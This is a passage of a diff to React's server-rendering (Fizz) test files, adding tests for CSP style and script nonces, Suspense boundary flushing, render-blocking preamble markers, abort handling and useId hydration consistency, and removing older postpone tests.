+      ),
+    ]);
+
+    root.unmount();
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body />
+      </html>,
+    );
+  });
+
+  it('can render styles with nonce', async () => {
+    CSPnonce = 'R4nd0m';
+    await act(() => {
+      const {pipe} = renderToPipeableStream(
+        <>
+          <style
+            href="foo"
+            precedence="default"
+            nonce={CSPnonce}>{`.foo { color: hotpink; }`}</style>
+          <style
+            href="bar"
+            precedence="default"
+            nonce={CSPnonce}>{`.bar { background-color: blue; }`}</style>
+        </>,
+        {nonce: {style: CSPnonce}},
+      );
+      pipe(writable);
+    });
+    expect(document.querySelector('style').nonce).toBe(CSPnonce);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>
+          <div id="container">
+            <style
+              data-precedence="default"
+              data-href="foo bar"
+              nonce={
+                CSPnonce
+              }>{`.foo { color: hotpink; }.bar { background-color: blue; }`}</style>
+          </div>
+        </body>
+      </html>,
+    );
+  });
+
+  it("shouldn't render styles with mismatched nonce", async () => {
+    CSPnonce = 'R4nd0m';
+    await act(() => {
+      const {pipe} = renderToPipeableStream(
+        <>
+          <style
+            href="foo"
+            precedence="default"
+            nonce={CSPnonce}>{`.foo { color: hotpink; }`}</style>
+          <style
+            href="bar"
+            precedence="default"
+            nonce={`${CSPnonce}${CSPnonce}`}>{`.bar { background-color: blue; }`}</style>
+        </>,
+        {nonce: {style: CSPnonce}},
+      );
+      pipe(writable);
+    });
+    assertConsoleErrorDev([
+      'React encountered a style tag with `precedence` "default" and `nonce` "R4nd0mR4nd0m". When React manages style rules using `precedence` it will only include rules if the nonce matches the style nonce "R4nd0m" that was included with this render.' +
+        '\n    in style (at **)',
+    ]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>
+          <div id="container">
+            <style
+              data-precedence="default"
+              data-href="foo"
+              nonce={CSPnonce}>{`.foo { color: hotpink; }`}</style>
+          </div>
+        </body>
+      </html>,
+    );
+  });
+
+  it("should render styles without nonce when render call doesn't receive nonce", async () => {
+    await act(() => {
+      const {pipe} = renderToPipeableStream(
+        <>
+          <style
+            href="foo"
+            precedence="default"
+            nonce="R4nd0m">{`.foo { color: hotpink; }`}</style>
+        </>,
+      );
+      pipe(writable);
+    });
+    assertConsoleErrorDev([
+      'React encountered a style tag with `precedence` "default" and `nonce` "R4nd0m". When React manages style rules using `precedence` it will only include a nonce attributes if you also provide the same style nonce value as a render option.' +
+        '\n    in style (at **)',
+    ]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>
+          <div id="container">
+            <style
+              data-precedence="default"
+              data-href="foo">{`.foo { color: hotpink; }`}</style>
+          </div>
+        </body>
+      </html>,
+    );
+  });
+
+  it('should render styles without nonce when render call receives a string nonce dedicated to scripts', async () => {
+    CSPnonce = 'R4nd0m';
+    await act(() => {
+      const {pipe} = renderToPipeableStream(
+        <>
+          <style
+            href="foo"
+            precedence="default"
+            nonce={CSPnonce}>{`.foo { color: hotpink; }`}</style>
+        </>,
+        {nonce: CSPnonce},
+      );
+      pipe(writable);
+    });
+    assertConsoleErrorDev([
+      'React encountered a style tag with `precedence` "default" and `nonce` "R4nd0m". When React manages style rules using `precedence` it will only include a nonce attributes if you also provide the same style nonce value as a render option.' +
+        '\n    in style (at **)',
+    ]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>
+          <div id="container">
+            <style
+              data-precedence="default"
+              data-href="foo">{`.foo { color: hotpink; }`}</style>
+          </div>
+        </body>
+      </html>,
+    );
+  });
+
+  it('should allow for different script and style nonces', async () => {
+    CSPnonce = 'R4nd0m';
+    await act(() => {
+      const {pipe} = renderToPipeableStream(
+        <>
+          <style
+            href="foo"
+            precedence="default"
+            nonce="D1ff3r3nt">{`.foo { color: hotpink; }`}</style>
+        </>,
+        {
+          nonce: {script: CSPnonce, style: 'D1ff3r3nt'},
+          bootstrapScriptContent: 'function noop(){}',
+        },
+      );
+      pipe(writable);
+    });
+    const scripts = Array.from(container.getElementsByTagName('script')).filter(
+      node => node.getAttribute('nonce') === CSPnonce,
+    );
+    expect(scripts[scripts.length - 1].textContent).toBe('function noop(){}');
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>
+          <div id="container">
+            <style
+              data-precedence="default"
+              data-href="foo"
+              nonce="D1ff3r3nt">{`.foo { color: hotpink; }`}</style>
+          </div>
+        </body>
+      </html>,
+    );
+  });
+
+  it('should not error when discarding deeply nested Suspense boundaries in a parent fallback partially complete before the parent boundary resolves', async () => {
+    let resolve1;
+    const promise1 = new Promise(r => (resolve1 = r));
+    let resolve2;
+    const promise2 = new Promise(r => (resolve2 = r));
+    const promise3 = new Promise(r => {});
+
+    function Use({children, promise}) {
+      React.use(promise);
+      return children;
+    }
+    function App() {
+      return (
+        <div>
+          <Suspense
+            fallback={
+              <div>
+                <Suspense fallback="Loading...">
+                  <div>
+                    <Use promise={promise1}>
+                      <div>
+                        <Suspense fallback="Loading more...">
+                          <div>
+                            <Use promise={promise3}>
+                              <div>deep fallback</div>
+                            </Use>
+                          </div>
+                        </Suspense>
+                      </div>
+                    </Use>
+                  </div>
+                </Suspense>
+              </div>
+            }>
+            <Use promise={promise2}>Success!</Use>
+          </Suspense>
+        </div>
+      );
+    }
+
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />);
+      pipe(writable);
+    });
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div>Loading...</div>
+      </div>,
+    );
+
+    await act(() => {
+      resolve1('resolved');
+      resolve2('resolved');
+    });
+
+    expect(getVisibleChildren(container)).toEqual(<div>Success!</div>);
+  });
+
+  it('should not error when discarding deeply nested Suspense boundaries in a parent fallback partially complete before the parent boundary resolves with empty segments', async () => {
+    let resolve1;
+    const promise1 = new Promise(r => (resolve1 = r));
+    let resolve2;
+    const promise2 = new Promise(r => (resolve2 = r));
+    const promise3 = new Promise(r => {});
+
+    function Use({children, promise}) {
+      React.use(promise);
+      return children;
+    }
+    function App() {
+      return (
+        <div>
+          <Suspense
+            fallback={
+              <Suspense fallback="Loading...">
+                <Use promise={promise1}>
+                  <Suspense fallback="Loading more...">
+                    <Use promise={promise3}>
+                      <div>deep fallback</div>
+                    </Use>
+                  </Suspense>
+                </Use>
+              </Suspense>
+            }>
+            <Use promise={promise2}>Success!</Use>
+          </Suspense>
+        </div>
+      );
+    }
+
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />);
+      pipe(writable);
+    });
+
+    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
+
+    await act(() => {
+      resolve1('resolved');
+      resolve2('resolved');
+    });
+
+    expect(getVisibleChildren(container)).toEqual(<div>Success!</div>);
+  });
+
+  it('should always flush the boundaries contributing the preamble regardless of their size', async () => {
+    const longDescription =
+      `I need to make this segment somewhat large because it needs to be large enough to be outlined during the initial flush. Setting the progressive chunk size to near zero isn't enough because there is a fixed minimum size that we use to avoid doing the size tracking altogether and this needs to be larger than that at least.
+
+Unfortunately that previous paragraph wasn't quite long enough so I'll continue with some more prose and maybe throw on some repeated additional strings at the end for good measure.
+
+` + 'a'.repeat(500);
+
+    const randomTag = Math.random().toString(36).slice(2, 10);
+
+    function App() {
+      return (
+        <Suspense fallback={randomTag}>
+          <html lang="en">
+            <body>
+              <main>{longDescription}</main>
+            </body>
+          </html>
+        </Suspense>
+      );
     }
 
-    const errors = [];
-    function onError(error) {
-      errors.push(error);
-    }
-    const shellErrors = [];
-    function onShellError(error) {
-      shellErrors.push(error);
-    }
-    const postpones = [];
-    function onPostpone(reason) {
-      postpones.push(reason);
+    let streamedContent = '';
+    writable.on('data', chunk => (streamedContent += chunk));
+
+    await act(() => {
+      renderToPipeableStream(<App />, {progressiveChunkSize: 100}).pipe(
+        writable,
+      );
+    });
+
+    // We don't use the DOM here b/c we execute scripts which hides whether a fallback was shown briefly
+    // Instead we assert that we never emitted the fallback of the Suspense boundary around the body.
+    expect(streamedContent).not.toContain(randomTag);
+  });
+
+  it('should track byte size of shells that may contribute to the preamble when determining if the blocking render exceeds the max size', async () => {
+    const longDescription =
+      `I need to make this segment somewhat large because it needs to be large enough to be outlined during the initial flush. Setting the progressive chunk size to near zero isn't enough because there is a fixed minimum size that we use to avoid doing the size tracking altogether and this needs to be larger than that at least.
+
+Unfortunately that previous paragraph wasn't quite long enough so I'll continue with some more prose and maybe throw on some repeated additional strings at the end for good measure.
+
+` + 'a'.repeat(500);
+
+    const randomTag = Math.random().toString(36).slice(2, 10);
+
+    function App() {
+      return (
+        <>
+          <Suspense fallback={randomTag}>
+            <html lang="en">
+              <body>
+                <main>{longDescription}</main>
+              </body>
+            </html>
+          </Suspense>
+          <div>Outside Preamble</div>
+        </>
+      );
     }
 
-    prerendering = false;
+    let streamedContent = '';
+    writable.on('data', chunk => (streamedContent += chunk));
 
-    const resumed = await ReactDOMFizzServer.resumeToPipeableStream(
-      <App />,
-      JSON.parse(JSON.stringify(prerendered.postponed)),
-      {
-        onError,
-        onShellError,
-        onPostpone,
-      },
-    );
+    const errors = [];
     await act(() => {
-      resumed.abort(postponeInstance);
+      renderToPipeableStream(<App />, {
+        progressiveChunkSize: 5,
+        onError(e) {
+          errors.push(e);
+        },
+      }).pipe(writable);
     });
-    expect(errors).toEqual([
-      new Error(
-        'The render was aborted with postpone when the shell is incomplete. Reason: manufactured',
-      ),
-    ]);
-    expect(shellErrors).toEqual([
-      new Error(
-        'The render was aborted with postpone when the shell is incomplete. Reason: manufactured',
-      ),
-    ]);
-    expect(postpones).toEqual([]);
+
+    if (gate(flags => flags.enableFizzBlockingRender)) {
+      expect(errors.length).toBe(1);
+      expect(errors[0].message).toContain(
+        // We set the chunk size low enough that the threshold rounds to zero kB
+        'This rendered a large document (>0 kB) without any Suspense boundaries around most of it.',
+      );
+    } else {
+      expect(errors.length).toBe(0);
+    }
+
+    // We don't use the DOM here b/c we execute scripts which hides whether a fallback was shown briefly
+    // Instead we assert that we never emitted the fallback of the Suspense boundary around the body.
+    expect(streamedContent).not.toContain(randomTag);
   });
 
-  // @gate enablePostpone
-  it('fatally errors if you abort with a postpone in the shell during render', async () => {
-    const promise = new Promise(r => {});
+  it('should be able to Suspend after aborting in the same component without hanging the render', async () => {
+    const controller = new AbortController();
 
-    function Wait() {
-      return React.use(promise);
+    const promise1 = new Promise(() => {});
+    function AbortAndSuspend() {
+      controller.abort('boom');
+      return React.use(promise1);
     }
 
     function App() {
       return (
-        <div>
-          <Suspense fallback="Loading...">
-            <p>
-              <span>
-                <Suspense fallback="Loading again...">
-                  <Wait />
-                </Suspense>
-              </span>
-            </p>
-            <p>
-              <span>
-                <Suspense fallback="Loading again...">
-                  <Wait />
-                </Suspense>
-              </span>
-            </p>
-          </Suspense>
-        </div>
+        <html>
+          <body>
+            <Suspense fallback="loading...">
+              {/*
+                The particular code path that was problematic required the Suspend to happen in renderNode
+                rather than retryRenderTask so we render the aborting function inside a host component
+                intentionally here
+              */}
+              <div>
+                <AbortAndSuspend />
+              </div>
+            </Suspense>
+          </body>
+        </html>
       );
     }
 
     const errors = [];
-    function onError(error) {
-      errors.push(error);
+    await act(async () => {
+      const result = await ReactDOMFizzStatic.prerenderToNodeStream(<App />, {
+        signal: controller.signal,
+        onError(e) {
+          errors.push(e);
+        },
+      });
+
+      result.prelude.pipe(writable);
+    });
+
+    expect(errors).toEqual(['boom']);
+
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>loading...</body>
+      </html>,
+    );
+  });
+
+  it('not error when a suspended fallback segment directly inside another Suspense is abandoned', async () => {
+    function SuspendForever() {
+      React.use(new Promise(() => {}));
     }
-    const shellErrors = [];
-    function onShellError(error) {
-      shellErrors.push(error);
+
+    let resolve = () => {};
+    const suspendPromise = new Promise(r => {
+      resolve = r;
+    });
+    function Suspend() {
+      return React.use(suspendPromise);
     }
-    const postpones = [];
-    function onPostpone(reason) {
-      postpones.push(reason);
+
+    function App() {
+      return (
+        <html>
+          <body>
+            <Suspense fallback="outer">
+              <Suspense fallback={<SuspendForever />}>
+                <span>hello world</span>
+                <span>
+                  <Suspend />
+                </span>
+              </Suspense>
+            </Suspense>
+          </body>
+        </html>
+      );
     }
-    const result = await renderToPipeableStream(<App />, {
-      onError,
-      onShellError,
-      onPostpone,
+
+    await act(async () => {
+      const {pipe} = renderToPipeableStream(<App />, {
+        onError() {},
+      });
+      pipe(writable);
     });
 
-    let postponeInstance;
-    try {
-      React.unstable_postpone('manufactured');
-    } catch (p) {
-      postponeInstance = p;
-    }
     await act(() => {
-      result.abort(postponeInstance);
+      resolve('!');
     });
 
-    expect(getVisibleChildren(container)).toEqual(undefined);
-
-    expect(errors).toEqual([
-      new Error(
-        'The render was aborted with postpone when the shell is incomplete. Reason: manufactured',
-      ),
-    ]);
-    expect(shellErrors).toEqual([
-      new Error(
-        'The render was aborted with postpone when the shell is incomplete. Reason: manufactured',
-      ),
-    ]);
-    expect(postpones).toEqual([]);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>
+          <span>hello world</span>
+          <span>!</span>
+        </body>
+      </html>,
+    );
   });
 
-  it('should NOT warn for using generator functions as components', async () => {
-    function* Foo() {
-      yield <h1 key="1">Hello</h1>;
-      yield <h1 key="2">World</h1>;
+  // @gate enableCPUSuspense
+  it('outlines deferred Suspense boundaries', async () => {
+    function Log({text}) {
+      Scheduler.log(text);
+      return text;
     }
 
-    await act(() => {
-      const {pipe} = renderToPipeableStream(<Foo />);
-      pipe(writable);
+    await act(async () => {
+      renderToPipeableStream(
+        <div>
+          <Suspense defer={true} fallback={<Log text="Waiting" />}>
+            <span>{<Log text="hello" />}</span>
+          </Suspense>
+        </div>,
+      ).pipe(writable);
+      await jest.runAllTimers();
+      const temp = document.createElement('body');
+      temp.innerHTML = buffer;
+      expect(getVisibleChildren(temp)).toEqual(<div>Waiting</div>);
     });
 
-    expect(document.body.textContent).toBe('HelloWorld');
+    assertLog(['Waiting', 'hello']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>hello</span>
+      </div>,
+    );
   });
 
-  it('should warn for using generators as children props', async () => {
-    function* getChildren() {
-      yield <h1 key="1">Hello</h1>;
-      yield <h1 key="2">World</h1>;
+  it('useId is consistent for siblings when component suspends with nested lazy', async () => {
+    // Inner component uses useId
+    function InnerComponent() {
+      const id = React.useId();
+      Scheduler.log('InnerComponent id: ' + id);
+      return <span id={id}>inner</span>;
     }
 
-    function Foo() {
-      const children = getChildren();
-      return <div>{children}</div>;
+    // Outer component uses useId and renders a lazy inner
+    function OuterComponent({innerElement}) {
+      const id = React.useId();
+      Scheduler.log('OuterComponent id: ' + id);
+      return <div id={id}>{innerElement}</div>;
     }
 
-    await expect(async () => {
-      await act(() => {
-        const {pipe} = renderToPipeableStream(<Foo />);
-        pipe(writable);
-      });
-    }).toErrorDev(
-      'Using Iterators as children is unsupported and will likely yield ' +
-        'unexpected results because enumerating a generator mutates it. ' +
-        'You may convert it to an array with `Array.from()` or the ' +
-        '`[...spread]` operator before rendering. You can also use an ' +
-        'Iterable that can iterate multiple times over the same items.\n' +
-        '    in div (at **)\n' +
-        '    in Foo (at **)',
-    );
+    // This sibling also has useId - its ID must be consistent with server
+    function Sibling() {
+      const id = React.useId();
+      Scheduler.log('Sibling id: ' + id);
+      return <span id={id}>sibling</span>;
+    }
 
-    expect(document.body.textContent).toBe('HelloWorld');
-  });
+    // Create fresh lazy components for SERVER (resolve immediately)
+    const serverLazyInner = React.lazy(async () => {
+      Scheduler.log('server lazy inner initializer');
+      return {default: <InnerComponent />};
+    });
 
-  it('should warn for using other types of iterators as children', async () => {
-    function Foo() {
-      let i = 0;
-      const iterator = {
-        [Symbol.iterator]() {
-          return iterator;
-        },
-        next() {
-          switch (i++) {
-            case 0:
-              return {done: false, value: <h1 key="1">Hello</h1>};
-            case 1:
-              return {done: false, value: <h1 key="2">World</h1>};
-            default:
-              return {done: true, value: undefined};
-          }
-        },
+    const serverLazyOuter = React.lazy(async () => {
+      Scheduler.log('server lazy outer initializer');
+      return {
+        default: <OuterComponent key="outer" innerElement={serverLazyInner} />,
       };
-      return iterator;
-    }
+    });
 
-    await expect(async () => {
-      await act(() => {
-        const {pipe} = renderToPipeableStream(<Foo />);
-        pipe(writable);
+    // Server render with lazy (resolves immediately)
+    await act(() => {
+      const {pipe} = renderToPipeableStream(
+        <html>
+          <body>
+            <>{serverLazyOuter}</>
+            <>
+              <Sibling />
+            </>
+          </body>
+        </html>,
+      );
+      pipe(writable);
+    });
+
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>
+          <div id="_R_1_">
+            <span id="_R_5_">inner</span>
+          </div>
+          <span id="_R_2_">sibling</span>
+        </body>
+      </html>,
+    );
+
+    assertLog([
+      'server lazy outer initializer',
+      'Sibling id: _R_2_',
+      'OuterComponent id: _R_1_',
+      'server lazy inner initializer',
+      'InnerComponent id: _R_5_',
+    ]);
+
+    // Create fresh lazy components for CLIENT
+    let resolveClientInner;
+    const clientLazyInner = React.lazy(async () => {
+      Scheduler.log('client lazy inner initializer');
+      return new Promise(r => {
+        resolveClientInner = () => r({default: <InnerComponent />});
       });
-    }).toErrorDev(
-      'Using Iterators as children is unsupported and will likely yield ' +
-        'unexpected results because enumerating a generator mutates it. ' +
-        'You may convert it to an array with `Array.from()` or the ' +
-        '`[...spread]` operator before rendering. You can also use an ' +
-        'Iterable that can iterate multiple times over the same items.\n' +
-        '    in Foo (at **)',
+    });
+
+    let resolveClientOuter;
+    const clientLazyOuter = React.lazy(async () => {
+      Scheduler.log('client lazy outer initializer');
+      return new Promise(r => {
+        resolveClientOuter = () =>
+          r({default: <OuterComponent innerElement={clientLazyInner} />});
+      });
+    });
+
+    const hydrationErrors = [];
+
+    // Client hydrates with nested lazy components
+    let root;
+    React.startTransition(() => {
+      root = ReactDOMClient.hydrateRoot(
+        document,
+        <html>
+          <body>
+            <>{clientLazyOuter}</>
+            <>
+              <Sibling />
+            </>
+          </body>
+        </html>,
+        {
+          onRecoverableError(error) {
+            hydrationErrors.push(error.message);
+          },
+        },
+      );
+    });
+
+    // First suspension on outer lazy
+    await waitFor(['client lazy outer initializer']);
+    resolveClientOuter();
+
+    // Second suspension on inner lazy
+    await waitFor([
+      'OuterComponent id: _R_1_',
+      'client lazy inner initializer',
+    ]);
+    resolveClientInner();
+
+    await waitForAll(['InnerComponent id: _R_5_', 'Sibling id: _R_2_']);
+
+    // The IDs should match the server-generated IDs
+    expect(hydrationErrors).toEqual([]);
+
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>
+          <div id="_R_1_">
+            <span id="_R_5_">inner</span>
+          </div>
+          <span id="_R_2_">sibling</span>
+        </body>
+      </html>,
     );
 
-    expect(document.body.textContent).toBe('HelloWorld');
+    root.unmount();
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzServerBrowser-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzServerBrowser-test.js
index 4022f227a8ab..27e74750c456 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzServerBrowser-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzServerBrowser-test.js
@@ -19,33 +19,20 @@ global.TextEncoder = require('util').TextEncoder;
 let React;
 let ReactDOMFizzServer;
 let Suspense;
-let Scheduler;
-let act;
+let serverAct;
 
 describe('ReactDOMFizzServerBrowser', () => {
   beforeEach(() => {
     jest.resetModules();
 
-    Scheduler = require('scheduler');
-    patchMessageChannel(Scheduler);
-    act = require('internal-test-utils').act;
+    patchMessageChannel();
+    serverAct = require('internal-test-utils').serverAct;
 
     React = require('react');
     ReactDOMFizzServer = require('react-dom/server.browser');
     Suspense = React.Suspense;
   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await act(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
-      }
-    });
-    return maybePromise;
-  }
-
   const theError = new Error('This is an error');
   function Throw() {
     throw theError;
@@ -84,9 +71,15 @@ describe('ReactDOMFizzServerBrowser', () => {
       ),
     );
     const result = await readResult(stream);
-    expect(result).toMatchInlineSnapshot(
-      `"<!DOCTYPE html><html><head></head><body>hello world</body></html>"`,
-    );
+    if (gate(flags => flags.enableFizzBlockingRender)) {
+      expect(result).toMatchInlineSnapshot(
+        `"<!DOCTYPE html><html><head><link rel="expect" href="#_R_" blocking="render"/></head><body>hello world<template id="_R_"></template></body></html>"`,
+      );
+    } else {
+      expect(result).toMatchInlineSnapshot(
+        `"<!DOCTYPE html><html><head></head><body>hello world</body></html>"`,
+      );
+    }
   });
 
   it('should emit bootstrap script src at the end', async () => {
@@ -99,7 +92,7 @@ describe('ReactDOMFizzServerBrowser', () => {
     );
     const result = await readResult(stream);
     expect(result).toMatchInlineSnapshot(
-      `"<link rel="preload" as="script" fetchPriority="low" href="init.js"/><link rel="modulepreload" fetchPriority="low" href="init.mjs"/><div>hello world</div><script>INIT();</script><script src="init.js" async=""></script><script type="module" src="init.mjs" async=""></script>"`,
+      `"<link rel="preload" as="script" fetchPriority="low" href="init.js"/><link rel="modulepreload" fetchPriority="low" href="init.mjs"/><div>hello world</div><script id="_R_">INIT();</script><script src="init.js" async=""></script><script type="module" src="init.mjs" async=""></script>"`,
     );
   });
 
@@ -529,7 +522,15 @@ describe('ReactDOMFizzServerBrowser', () => {
 
     const result = await readResult(stream);
     expect(result).toEqual(
-      '<!DOCTYPE html><html><head><title>foo</title></head><body>bar</body></html>',
+      '<!DOCTYPE html><html><head>' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<link rel="expect" href="#_R_" blocking="render"/>'
+          : '') +
+        '<title>foo</title></head><body>bar' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<template id="_R_"></template>'
+          : '') +
+        '</body></html>',
     );
   });
 
@@ -547,48 +548,7 @@ describe('ReactDOMFizzServerBrowser', () => {
     expect(result).toMatchInlineSnapshot(
       // TODO: remove interpolation because it prevents snapshot updates.
       // eslint-disable-next-line jest/no-interpolation-in-snapshots
-      `"<link rel="preload" as="script" fetchPriority="low" nonce="R4nd0m" href="init.js"/><link rel="modulepreload" fetchPriority="low" nonce="R4nd0m" href="init.mjs"/><div>hello world</div><script nonce="${nonce}">INIT();</script><script src="init.js" nonce="${nonce}" async=""></script><script type="module" src="init.mjs" nonce="${nonce}" async=""></script>"`,
+      `"<link rel="preload" as="script" fetchPriority="low" nonce="R4nd0m" href="init.js"/><link rel="modulepreload" fetchPriority="low" nonce="R4nd0m" href="init.mjs"/><div>hello world</div><script nonce="${nonce}" id="_R_">INIT();</script><script src="init.js" nonce="${nonce}" async=""></script><script type="module" src="init.mjs" nonce="${nonce}" async=""></script>"`,
     );
   });
-
-  // @gate enablePostpone
-  it('errors if trying to postpone outside a Suspense boundary', async () => {
-    function Postponed() {
-      React.unstable_postpone('testing postpone');
-      return 'client only';
-    }
-
-    function App() {
-      return (
-        <div>
-          <Postponed />
-        </div>
-      );
-    }
-
-    const errors = [];
-    const postponed = [];
-
-    let caughtError = null;
-    try {
-      await serverAct(() =>
-        ReactDOMFizzServer.renderToReadableStream(<App />, {
-          onError(error) {
-            errors.push(error.message);
-          },
-          onPostpone(reason) {
-            postponed.push(reason);
-          },
-        }),
-      );
-    } catch (error) {
-      caughtError = error;
-    }
-
-    // Postponing is not logged as an error but as a postponed reason.
-    expect(errors).toEqual([]);
-    expect(postponed).toEqual(['testing postpone']);
-    // However, it does error the shell.
-    expect(caughtError.message).toEqual('testing postpone');
-  });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzServerEdge-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzServerEdge-test.js
index c442f1813836..06b3c61ce3ce 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzServerEdge-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzServerEdge-test.js
@@ -18,12 +18,14 @@ global.AsyncLocalStorage = require('async_hooks').AsyncLocalStorage;
 let React;
 let ReactDOM;
 let ReactDOMFizzServer;
+let Suspense;
 
 describe('ReactDOMFizzServerEdge', () => {
   beforeEach(() => {
     jest.resetModules();
     jest.useRealTimers();
     React = require('react');
+    Suspense = React.Suspense;
     ReactDOM = require('react-dom');
     ReactDOMFizzServer = require('react-dom/server.edge');
   });
@@ -71,8 +73,112 @@ describe('ReactDOMFizzServerEdge', () => {
       setTimeout(resolve, 1);
     });
 
-    expect(result).toMatchInlineSnapshot(
-      `"<!DOCTYPE html><html><head></head><body><main>hello</main></body></html>"`,
+    if (gate(flags => flags.enableFizzBlockingRender)) {
+      expect(result).toMatchInlineSnapshot(
+        `"<!DOCTYPE html><html><head><link rel="expect" href="#_R_" blocking="render"/></head><body><main>hello</main><template id="_R_"></template></body></html>"`,
+      );
+    } else {
+      expect(result).toMatchInlineSnapshot(
+        `"<!DOCTYPE html><html><head></head><body><main>hello</main></body></html>"`,
+      );
+    }
+  });
+
+  it('recoverably errors and does not add rel="expect" for large shells', async () => {
+    function Paragraph() {
+      return (
+        <p>
+          Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris
+          porttitor tortor ac lectus faucibus, eget eleifend elit hendrerit.
+          Integer porttitor nisi in leo congue rutrum. Morbi sed ante posuere,
+          aliquam lorem ac, imperdiet orci. Duis malesuada gravida pharetra.
+          Cras facilisis arcu diam, id dictum lorem imperdiet a. Suspendisse
+          aliquet tempus tortor et ultricies. Aliquam libero velit, posuere
+          tempus ante sed, pellentesque tincidunt lorem. Nullam iaculis, eros a
+          varius aliquet, tortor felis tempor metus, nec cursus felis eros
+          aliquam nulla. Vivamus ut orci sed mauris congue lacinia. Cras eget
+          blandit neque. Pellentesque a massa in turpis ullamcorper volutpat vel
+          at massa. Sed ante est, auctor non diam non, vulputate ultrices metus.
+          Maecenas dictum fermentum quam id aliquam. Donec porta risus vitae
+          pretium posuere. Fusce facilisis eros in lacus tincidunt congue.
+        </p>
+      );
+    }
+
+    function App({suspense}) {
+      const paragraphs = [];
+      for (let i = 0; i < 600; i++) {
+        paragraphs.push(<Paragraph key={i} />);
+      }
+      return (
+        <html>
+          <body>
+            {suspense ? (
+              // This is ok
+              <Suspense fallback="Loading">{paragraphs}</Suspense>
+            ) : (
+              // This is not
+              paragraphs
+            )}
+          </body>
+        </html>
+      );
+    }
+    const errors = [];
+    const stream = await ReactDOMFizzServer.renderToReadableStream(
+      <App suspense={false} />,
+      {
+        onError(error) {
+          errors.push(error);
+        },
+      },
     );
+    const result = await readResult(stream);
+    expect(result).not.toContain('rel="expect"');
+    if (gate(flags => flags.enableFizzBlockingRender)) {
+      expect(errors.length).toBe(1);
+      expect(errors[0].message).toContain(
+        'This rendered a large document (>512 kB) without any Suspense boundaries around most of it.',
+      );
+    } else {
+      expect(errors.length).toBe(0);
+    }
+
+    // If we wrap in a Suspense boundary though, then it should be ok.
+    const errors2 = [];
+    const stream2 = await ReactDOMFizzServer.renderToReadableStream(
+      <App suspense={true} />,
+      {
+        onError(error) {
+          errors2.push(error);
+        },
+      },
+    );
+    const result2 = await readResult(stream2);
+    if (gate(flags => flags.enableFizzBlockingRender)) {
+      expect(result2).toContain('rel="expect"');
+    } else {
+      expect(result2).not.toContain('rel="expect"');
+    }
+    expect(errors2.length).toBe(0);
+
+    // Or if we increase the progressiveChunkSize.
+    const errors3 = [];
+    const stream3 = await ReactDOMFizzServer.renderToReadableStream(
+      <App suspense={false} />,
+      {
+        progressiveChunkSize: 100000,
+        onError(error) {
+          errors3.push(error);
+        },
+      },
+    );
+    const result3 = await readResult(stream3);
+    if (gate(flags => flags.enableFizzBlockingRender)) {
+      expect(result3).toContain('rel="expect"');
+    } else {
+      expect(result3).not.toContain('rel="expect"');
+    }
+    expect(errors3.length).toBe(0);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzServerNode-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzServerNode-test.js
index eb41a627b780..98030d43386c 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzServerNode-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzServerNode-test.js
@@ -14,6 +14,7 @@ let Stream;
 let React;
 let ReactDOMFizzServer;
 let Suspense;
+let act;
 
 describe('ReactDOMFizzServerNode', () => {
   beforeEach(() => {
@@ -22,6 +23,7 @@ describe('ReactDOMFizzServerNode', () => {
     ReactDOMFizzServer = require('react-dom/server');
     Stream = require('stream');
     Suspense = React.Suspense;
+    act = require('internal-test-utils').act;
   });
 
   function getTestWritable() {
@@ -54,54 +56,100 @@ describe('ReactDOMFizzServerNode', () => {
     throw theInfinitePromise;
   }
 
-  it('should call renderToPipeableStream', () => {
+  async function readContentWeb(stream) {
+    const reader = stream.getReader();
+    let content = '';
+    while (true) {
+      const {done, value} = await reader.read();
+      if (done) {
+        return content;
+      }
+      content += Buffer.from(value).toString('utf8');
+    }
+  }
+
+  it('should call renderToPipeableStream', async () => {
     const {writable, output} = getTestWritable();
-    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(
-      <div>hello world</div>,
+    await act(() => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(
+        <div>hello world</div>,
+      );
+      pipe(writable);
+    });
+    expect(output.result).toMatchInlineSnapshot(`"<div>hello world</div>"`);
+  });
+
+  it('should support web streams', async () => {
+    const stream = await act(() =>
+      ReactDOMFizzServer.renderToReadableStream(<div>hello world</div>),
     );
-    pipe(writable);
-    jest.runAllTimers();
+    const result = await readContentWeb(stream);
+    expect(result).toMatchInlineSnapshot(`"<div>hello world</div>"`);
+  });
+
+  it('flush fully if piping in on onShellReady', async () => {
